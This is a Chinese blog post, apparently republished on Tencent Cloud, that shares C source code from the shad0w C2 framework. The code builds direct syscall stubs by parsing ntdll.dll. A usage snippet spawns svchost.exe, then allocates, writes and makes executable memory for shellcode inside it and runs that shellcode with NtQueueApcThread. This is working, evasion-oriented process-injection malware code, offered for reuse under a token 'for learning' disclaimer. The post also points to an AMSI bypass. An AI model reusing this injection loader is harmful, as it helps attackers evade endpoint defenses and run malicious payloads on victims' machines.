Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >C2基石--syscall模块及amsi bypass

C2基石--syscall模块及amsi bypass

作者头像
鸿鹄实验室
发布于 2021-08-25 02:18:50
发布于 2021-08-25 02:18:50
71800
代码可运行
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室
运行总次数:0
代码可运行

最近读了一些C2的源码,其中shad0w的syscall模块具有很高的移植性,分享给有需要的朋友。

syscall.h

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include <windows.h>

#define SYSCALL_STUB_SIZE 23
#define NTDLL_PATH "C:\\Windows\\System32\\ntdll.dll"

typedef NTSTATUS (NTAPI * _NtAllocateVirtualMemory) (
    HANDLE    ProcessHandle,
    PVOID*    BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T   RegionSize,
    ULONG     AllocationType,
    ULONG     Protect
);

typedef NTSTATUS (NTAPI * _NtProtectVirtualMemory) (
    HANDLE  ProcessHandle,
    PVOID*  BaseAddress,
    PSIZE_T NumberOfBytesToProtect,
    ULONG   NewAccessProtection,
    PULONG  OldAccessProtection
);

typedef NTSTATUS (NTAPI * _NtWriteVirtualMemory) (
    HANDLE ProcessHandle,
    PVOID  BaseAddress,
    PVOID  Buffer,
    ULONG  BufferSize,
    PULONG NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI * _NtQueueApcThread) (
    HANDLE          ThreadHandle,
    PIO_APC_ROUTINE ApcRoutine,
    PVOID           NormalContext,
    PVOID           SystemArgument1,
    PVOID           SystemArgument2
);

typedef NTSTATUS (NTAPI * _NtAlertResumeThread) (
    HANDLE ThreadHandle,
    PULONG SuspendCount
);

typedef NTSTATUS (NTAPI * _NtOpenProcess) (
    PHANDLE            ProcessHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    CLIENT_ID*         ClientId
);

typedef NTSTATUS (NTAPI * _NtOpenThread) (
    PHANDLE            ThreadHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PCLIENT_ID         ClientId
);

typedef NTSTATUS (NTAPI * _NtSuspendThread)(
    HANDLE ThreadHandle
);

typedef NTSTATUS (NTAPI * _NtGetContextThread)(
    HANDLE ThreadHandle,
    PCONTEXT Context
);

typedef NTSTATUS (NTAPI * _NtSetContextThread)(
    HANDLE ThreadHandle,
    PCONTEXT Context
);

typedef NTSTATUS (NTAPI * _NtResumeThread)(
    HANDLE ThreadHandle
);


struct NtInfo
{
  PIMAGE_EXPORT_DIRECTORY pExprtDir;
  LPVOID          lpRawData;
  PIMAGE_SECTION_HEADER  pTextSection;
  PIMAGE_SECTION_HEADER  pRdataSection;
  CHAR            cSyscallStub;
};

struct Syscalls
{
  _NtAllocateVirtualMemory NtAllocateVirtualMemory;
    _NtProtectVirtualMemory  NtProtectVirtualMemory;
    _NtWriteVirtualMemory    NtWriteVirtualMemory;
    _NtQueueApcThread        NtQueueApcThread;
    _NtOpenProcess           NtOpenProcess;
    _NtOpenThread            NtOpenThread;
    _NtSuspendThread         NtSuspendThread;
    _NtGetContextThread      NtGetContextThread;
    _NtSetContextThread      NtSetContextThread;
    _NtResumeThread          NtResumeThread;
};

extern CHAR SyscallStub[SYSCALL_STUB_SIZE];

syscall.h

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include <windows.h>
#include <ntdef.h>
#include <tlhelp32.h>
#include <winternl.h>

#include "syscalls.h"

CHAR SyscallStub[SYSCALL_STUB_SIZE] = {};

PVOID RVAtoRawOffset(DWORD_PTR RVA, PIMAGE_SECTION_HEADER section)
{
  return (PVOID)(RVA - section->VirtualAddress + section->PointerToRawData);
}

BOOL MakeSyscall(LPCSTR functionName, PIMAGE_EXPORT_DIRECTORY exportDirectory, LPVOID fileData, PIMAGE_SECTION_HEADER textSection, PIMAGE_SECTION_HEADER rdataSection, LPVOID syscallStub)
{
    DWORD  dwOldProc             = 0;
  PDWORD pdwAddressOfNames     = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfNames), rdataSection);
  PDWORD pdwAddressOfFunctions = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfFunctions), rdataSection);
  BOOL   bStubFound            = FALSE;

  for (size_t i = 0; i < exportDirectory->NumberOfNames; i++)
  {
    DWORD_PTR functionNameVA    = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData + pdwAddressOfNames[i], rdataSection);
    DWORD_PTR functionVA        = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData + pdwAddressOfFunctions[i + 1], textSection);
    LPCSTR functionNameResolved = (LPCSTR)functionNameVA;

    if (strcmp(functionNameResolved, functionName) == 0)
    {
      memcpy((LPVOID)syscallStub, (LPVOID)functionVA, SYSCALL_STUB_SIZE);
            VirtualProtect((LPVOID)syscallStub, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProc);
      bStubFound = TRUE;
    }
  }

  return bStubFound;
}

VOID CleanSyscall(LPVOID syscallStub)
{
    DWORD dwOldProc   = 0;
    CHAR* pcOverWrite = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

    VirtualProtect((LPVOID)syscallStub, SYSCALL_STUB_SIZE, PAGE_READWRITE, &dwOldProc);
    memcpy((LPVOID)syscallStub, (LPVOID)pcOverWrite, SYSCALL_STUB_SIZE);

    return;
}

VOID ParseNtdll(struct NtInfo *NtdllInfo, struct Syscalls *SyscallTable)
{
    HANDLE hFile;
    DWORD  dwFileSize;
    LPVOID lpFileData;
    DWORD  dwBytesRead;

    DWORD dwOldProc                       = 0;

    SyscallTable->NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)(LPVOID)SyscallStub;
    SyscallTable->NtProtectVirtualMemory  = (_NtProtectVirtualMemory)(LPVOID)SyscallStub;
    SyscallTable->NtWriteVirtualMemory    = (_NtWriteVirtualMemory)(LPVOID)SyscallStub;
    SyscallTable->NtQueueApcThread        = (_NtQueueApcThread)(LPVOID)SyscallStub;
    SyscallTable->NtOpenProcess           = (_NtOpenProcess)(LPVOID)SyscallStub;
    SyscallTable->NtOpenThread            = (_NtOpenThread)(LPVOID)SyscallStub;
    SyscallTable->NtSuspendThread         = (_NtSuspendThread)(LPVOID)SyscallStub;
    SyscallTable->NtGetContextThread      = (_NtGetContextThread)(LPVOID)SyscallStub;
    SyscallTable->NtSetContextThread      = (_NtSetContextThread)(LPVOID)SyscallStub;
    SyscallTable->NtResumeThread          = (_NtResumeThread)(LPVOID)SyscallStub;

    VirtualProtect(SyscallStub, SYSCALL_STUB_SIZE, PAGE_READWRITE, &dwOldProc);

    hFile                = CreateFileA(NTDLL_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    dwFileSize           = GetFileSize(hFile, NULL);
    NtdllInfo->lpRawData = HeapAlloc(GetProcessHeap(), 0, dwFileSize);

    ReadFile(hFile, NtdllInfo->lpRawData, dwFileSize, &dwBytesRead, NULL);

    PIMAGE_DOS_HEADER dosHeader      = (PIMAGE_DOS_HEADER)NtdllInfo->lpRawData;
  PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)NtdllInfo->lpRawData + dosHeader->e_lfanew);
  DWORD dwExportDirRVA             = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_SECTION_HEADER section    = IMAGE_FIRST_SECTION(imageNTHeaders);
  NtdllInfo->pTextSection          = section;
  NtdllInfo->pRdataSection         = section;

    for (INT i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++)
  {
        if (strncmp(section->Name, ".rdata", 6) == NULL)
        {
            NtdllInfo->pRdataSection = section;
            break;
        }
        section++;
    }

    NtdllInfo->pExprtDir = (PIMAGE_EXPORT_DIRECTORY)RVAtoRawOffset((DWORD_PTR)NtdllInfo->lpRawData + dwExportDirRVA, NtdllInfo->pRdataSection);
}

调用方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include "syscalls.h"

 RtlGetVersion(&osInfo);
       CreateProcessA("C:\\Windows\\system32\\svchost.exe", NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &sInfo, &pInfo);

        LPVOID rBuffer = NULL;
        struct NtInfo NtdllInfo;
        struct Syscalls rSyscall;
        SIZE_T uSize = (SIZE_T)Size;

        ParseNtdll(&NtdllInfo, &rSyscall);

        // alloc the memory we need inside the process
        MakeSyscall("NtAllocateVirtualMemory", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);
        rSyscall.NtAllocateVirtualMemory(pInfo.hProcess, &rBuffer, 0, &uSize, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
        CleanSyscall(SyscallStub);

        // write our shellcode bytes to the process
        MakeSyscall("NtWriteVirtualMemory", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);
        rSyscall.NtWriteVirtualMemory(pInfo.hProcess, rBuffer, Bytes, Size, NULL);
        CleanSyscall(SyscallStub);

        // change the permisions on the memory so we can execute it
        MakeSyscall("NtProtectVirtualMemory", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);
        rSyscall.NtProtectVirtualMemory(pInfo.hProcess, &rBuffer, &uSize, PAGE_EXECUTE_READWRITE, &oProc);
        CleanSyscall(SyscallStub);

        // execute the code inside the process
        MakeSyscall("NtQueueApcThread", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);
        rSyscall.NtQueueApcThread(pInfo.hThread, (PIO_APC_ROUTINE)rBuffer, NULL, NULL, NULL);
        CleanSyscall(SyscallStub);

以及一个目前过amsi且全球静态可过的方法,来源

https://twitter.com/TihanyiNorbert/status/1278078606737096704/photo/1:

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-08-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
如何找SSDT中精准的
我们可以通过枚举ntdll.dll的导出函数来间接枚举SSDT所有表项所对应的函数,因为所有的内核服务函数对应于ntdll.dll的同名函数都是这样开头的:
战神伽罗
2019/07/24
1.3K0
总结到目前为止发现的所有EDR绕过方法
所有关注攻击性安全社区的人都会在过去两年中一次又一次地遇到Userland hooking, Syscalls, P/Invoke/D-Invoke等术语。我自己也遇到了一些我不完全理解的博客文章和工具。我有时觉得我需要从头开始积累知识。由于我在很多情况下不需要这些“新”技术,我把这些课题的研究推迟了几个月。
黑伞安全
2021/02/26
9.7K0
总结到目前为止发现的所有EDR绕过方法
浅谈 Windows Syscall
Windows下有两种处理器访问模式:用户模式(user mode)和内核模式(kernel mode)。用户模式下运行应用程序时,Windows 会为该程序创建一个新进程,提供一个私有虚拟地址空间和一个私有句柄表,因为私有,一个应用程序无法修改另一个应用程序的私有虚拟地址空间的数据;内核模式下,所有运行的代码都共享一个虚拟地址空间, 因此内核中驱动程序可能还会因为写入错误的地址空间导致其他驱动程序甚至系统出现错误。
意大利的猫
2021/12/20
6.2K1
浅谈 Windows Syscall
26种对付反调试的方法
本文针对的是Windows操作系统中常用的防破0解及防逆向工程保护技术,即反调试方法,各种防逆向工程技术的主要目标是尽可能多的使逆变工具尽可能失效。
战神伽罗
2019/07/24
6K0
SysWhispers:如何通过直接系统调用实现AVEDR绕过
SysWhispers能够生成Header文件和ASM文件,并通过发送直接系统调用来绕过反病毒以及终端防护响应工具。该工具支持Windows XP至Windows 10的所有系统核心调用,生成的样本文件可以直接从“example-output/”目录获取。
FB客服
2020/02/20
1.8K0
SysWhispers:如何通过直接系统调用实现AVEDR绕过
暴力搜索x64 ssdt 以及挂钩HOOK
IDA加载ntoskrnl.exe 微软符号,进入,jump by name,随便输入一个,比如zwwritefile,层层跟踪,进入,可以发现
战神伽罗
2019/07/24
2.5K0
驱动开发:内核RIP劫持实现DLL注入
本章将探索内核级DLL模块注入实现原理,DLL模块注入在应用层中通常会使用CreateRemoteThread直接开启远程线程执行即可,驱动级别的注入有多种实现原理,而其中最简单的一种实现方式则是通过劫持EIP的方式实现,其实现原理可总结为,挂起目标进程,停止目标进程EIP的变换,在目标进程开启空间,并把相关的指令机器码和数据拷贝到里面去,然后直接修改目标进程EIP使其强行跳转到我们拷贝进去的相关机器码位置,执行相关代码后,然后再次跳转回来执行原始指令集。
王 瑞
2023/06/16
1K0
驱动开发:内核RIP劫持实现DLL注入
最简单绕过ring3 hook的方式(bypass bitdefender)
本文已上传视频教学: https://www.bilibili.com/video/BV1Wy4y1X7Z5/?spm_id_from=333.999.0.0 ntdll.dll常常是被挂钩的主要模块
红队蓝军
2023/02/25
8610
最简单绕过ring3 hook的方式(bypass bitdefender)
免杀必会- 规避杀软的库
在编写恶意软件时,我们时常会用到系统的一些库,库的使用是非常简单,好用的,只需要导入头文件,那么就可以使用相应的api或函数,但是如果用于免杀或者c2,但是在EDR和终端软件横行的现在,不太“好”,下面将是我们在做免杀时或自己开发c2时常用的一些库,有现成调用代码,复制粘贴即可使用。
Gamma实验室
2022/12/01
1.4K0
浅析syscall
最近在面试一些人的免杀问题时总会谈到syscall,但对于一些检测、细节、绕过检测反而没有说的很清楚,本文简单总结一些syscall的方式,来帮你唬过面试官。
鸿鹄实验室
2022/02/17
3.8K0
浅析syscall
驱动开发:如何枚举所有SSDT表地址
在前面的博文《驱动开发:Win10内核枚举SSDT表基址》中已经教大家如何寻找SSDT表基地址了,找到后我们可根据序号获取到指定SSDT函数的原始地址,而如果需要输出所有SSDT表信息,则可以定义字符串列表,以此循环调用GetSSDTFunctionAddress()函数得到,当然在此之间也可以调用系统提供的MmGetSystemRoutineAddress()函数顺便把当前地址拿到,并通过循环方式得到完整的SSDT列表。
王 瑞
2023/10/11
3720
驱动开发:如何枚举所有SSDT表地址
驱动开发:Win10枚举完整SSDT地址表
在前面的博文《驱动开发:Win10内核枚举SSDT表基址》中已经教大家如何寻找SSDT表基地址了,找到后我们可根据序号获取到指定SSDT函数的原始地址,而如果需要输出所有SSDT表信息,则可以定义字符串列表,以此循环调用GetSSDTFunctionAddress()函数得到,当然在此之间也可以调用系统提供的MmGetSystemRoutineAddress()函数顺便把当前地址拿到,并通过循环方式得到完整的SSDT列表。
王 瑞
2022/11/18
5830
驱动开发:Win10枚举完整SSDT地址表
驱动开发:内核远程线程实现DLL注入
在笔者上一篇文章《内核RIP劫持实现DLL注入》介绍了通过劫持RIP指针控制程序执行流实现插入DLL的目的,本章将继续探索全新的注入方式,通过NtCreateThreadEx这个内核函数实现注入DLL的目的,需要注意的是该函数在微软系统中未被导出使用时需要首先得到该函数的入口地址,NtCreateThreadEx函数最终会调用ZwCreateThread,本章在寻找函数的方式上有所不同,前一章通过内存定位的方法得到所需地址,本章则是通过解析导出表实现。
王 瑞
2023/06/25
5330
驱动开发:内核远程线程实现DLL注入
驱动开发:内核RIP劫持实现DLL注入
本章将探索内核级DLL模块注入实现原理,DLL模块注入在应用层中通常会使用CreateRemoteThread直接开启远程线程执行即可,驱动级别的注入有多种实现原理,而其中最简单的一种实现方式则是通过劫持EIP的方式实现,其实现原理可总结为,挂起目标进程,停止目标进程EIP的变换,在目标进程开启空间,并把相关的指令机器码和数据拷贝到里面去,然后直接修改目标进程EIP使其强行跳转到我们拷贝进去的相关机器码位置,执行相关代码后,然后再次跳转回来执行原始指令集。
王 瑞
2023/10/11
1.2K0
驱动开发:内核RIP劫持实现DLL注入
红队免杀培训-手把手教使用系统调用(上)
为了应对,AV/EDR对一些常规windows的api的监控,使用的github项目为Syswhispers,其实CS官方有个付费工具包叫 CobaltStrike Artifact,可以定制化生成有效负载,当然其中也包括了使用系统调用,替换掉beacon里面的api函数,当然付费真的用不起,对于穷人来说,只能靠手动冲!
Gamma实验室
2022/03/29
1.3K0
红队免杀培训-手把手教使用系统调用(上)
Windows x64内核下注入DLL姿势之一
用户10168639
2023/07/06
1.6K0
syscall的检测与绕过
通过汇编直接NtCreateThreadEx在函数种通过syscall进入ring0
红队蓝军
2023/02/25
1.4K0
syscall的检测与绕过
bypass Bitdefender
渗透时,可能会遇到各种各样的的杀软,但每个杀软特性不同,在绕过前,往往都需要分析,本文就Bitdefender进行分析
红队蓝军
2022/05/17
3210
bypass Bitdefender
C/C++ 对代码节的动态加解密
加壳的原理就是加密或者压缩程序中的已有资源,然后当程序执行后外壳将模拟PE加载器对EXE中的区块进行动态装入,下面我们来自己实现一个简单的区块加解密程序,来让大家学习了解一下壳的基本运作原理。
王 瑞
2022/12/28
4170
C/C++ 对代码节的动态加解密
漏洞分析:HEVD-0x7.UninitializedHeapVariable[win7x86]
哪怕是类似原理的都用,在利用方式上也总能带来很多新鲜感,每次都有新的长见识,不断的感叹和震撼
极安御信安全研究院
2022/07/21
3710
漏洞分析:HEVD-0x7.UninitializedHeapVariable[win7x86]
相关推荐
如何找SSDT中精准的
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验